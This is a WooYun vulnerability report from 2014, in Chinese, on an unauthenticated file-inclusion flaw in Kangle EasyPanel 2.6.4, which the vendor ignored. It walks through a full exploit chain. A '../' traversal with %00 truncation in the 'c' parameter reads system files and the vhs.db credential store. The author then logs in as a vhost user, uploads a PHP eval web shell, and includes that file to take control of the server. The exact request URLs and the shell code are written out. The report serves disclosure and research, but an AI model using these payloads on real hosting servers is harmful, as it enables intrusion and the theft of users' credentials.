当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058173

漏洞标题:Kangle虚拟主机最新版GetShell漏洞(无需登录即可获取所有用户信息)

相关厂商:kanglesoft.com

漏洞作者: xfkxfk

提交时间:2014-04-23 15:14

修复时间:2014-07-23 18:34

公开时间:2014-07-23 18:34

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-23: 细节已通知厂商并且等待厂商处理中
2014-04-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-22: 细节向核心白帽子及相关领域专家公开
2014-07-02: 细节向普通白帽子公开
2014-07-12: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

EasyPanel官方最新版2.6.4(4-18日更新),上一个版本2.6.3(3-28日更新)都存在无需登录可直接获取shell高危漏洞。
上个漏洞 http://www.wooyun.org/bugs/wooyun-2014-054757 拿了精华,这个可以吧?

详细说明:

在之前有这样一个漏洞: WooYun: kangle web server目录遍历可getshell
这里虽然也能拿到shell,但是首先的通过各种方法那大一个空间账号才行。
所以有门槛,而且在新版2.6.4里面这个漏洞已经修复了。这里不存在门槛了。
EasyPanel官方最新版(4-18日更新),其在网站控制面板登陆时,没有很好的处理用户传入的参数值,导致攻击者可以包含服务器上任意文件读取敏感文件内容,进一步登陆系统,然后包含可执行文件导致代码执行,最终直接获取系统控制权。
官方现在最新版2.6.4存在此漏洞,再上一个版本2.6.3已经发现漏洞,但是官方发出的最新版还是没有修复,漏洞依然存在。这是框架问题,整个系统在加载功能模块时的c参数都存在漏洞。
下面拿2.6.4的版本进行测试。

漏洞证明:

测试环境:kangle-3.3.9.msi,ep-2.6.4.exe(官方4-18日更新),windows XP
首先安装kangle server,然后安装easypanel,安装成功后访问http://127.0.0.1:3312/,会自动跳转到http://127.0.0.1:3312/vhost/?c=session&a=loginForm。
然后随便输入用户名密码登陆,如图发送的请求:

1.png


然后修改请求url中的参数c的值,将session改为:
C=../../../../../../../../../../../windows/system.ini%00..
(注意:这里必须有%00进行截断。)
发送修改后的请求将成功包含服务器上的/windows/system.ini文件,如下图所示:

2.png


漏洞利用:
前提:此系统是用来管理虚拟主机的,安装完成后,会有默认的管理员控制面板:http://127.0.0.1:3312/admin/?c=session&a=loginForm。他的主要功能就是在这里面可以添加很多网站进行统一管理,所以我们的利用前提就是这个系统里面已经有了很多网站。假设管理员已经在此系统上添加了两个网站,攻击者并不知道这两个网站,如下图:

3.png


下面开始攻击利用:
第一步,包含此系统的配置文件,如这里我们包含db文件:
/Program Files/Bangteng/Kangle/etc/vhs.db(假设是windows系统的默认安装路径)
发送构造好的请求:
http://127.0.0.1:3312/vhost/index.php?c=../../../../../../../../../../../Program Files/Bangteng/Kangle/etc/vhs.db%00..&a=login
包含的内容如图所示:

4.png


从返回的内容中看到,这里正好是vhost的相关信息:
123456e10adc3949ba59abbe56e057f20f883e/home/ftp/1/123456a1000
aaaaaa0b4e7a0e5fe84ad35fb5f95b9ceeac79C:/home/ftp/a/aaaaaaa1001
内容为:
Vhost用户名+Vhost密码+Vhost-FTP路径+uid
第二步,既然拿到了Vhost用户名和Vhost密码,然后来登陆Vhost:
http://127.0.0.1:3312/vhost/?c=session&a=loginForm
拿123456e10adc3949ba59abbe56e057f20f883e/home/ftp/1/123456a1000为例,这里的Vhost用户名和Vhost密码分别为:123456/123456.
第三步,利用在线文件功能,上传文件,如图:

5.png


我们这里上传一个php文件,内容为:
<?php @eval($_POST['cmd']);phpinfo();?>,php一句话。
第四步,利用第一步包含到的信息:123456e10adc3949ba59abbe56e057f20f883e/home/ftp/1/123456a1000,我们知道上传的test.php文件在/home/ftp/1/12345/目录下,然后构造请求,包含此文件,如图:

6.png


返回内容显示成功包含。

7.png


成功拿webshell,控制网站服务器。

修复方案:

代码加密的,猜测是在加载模版时没有对用户输入进行控制,导致包含了。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-23 18:34

厂商回复:

最新状态:

暂无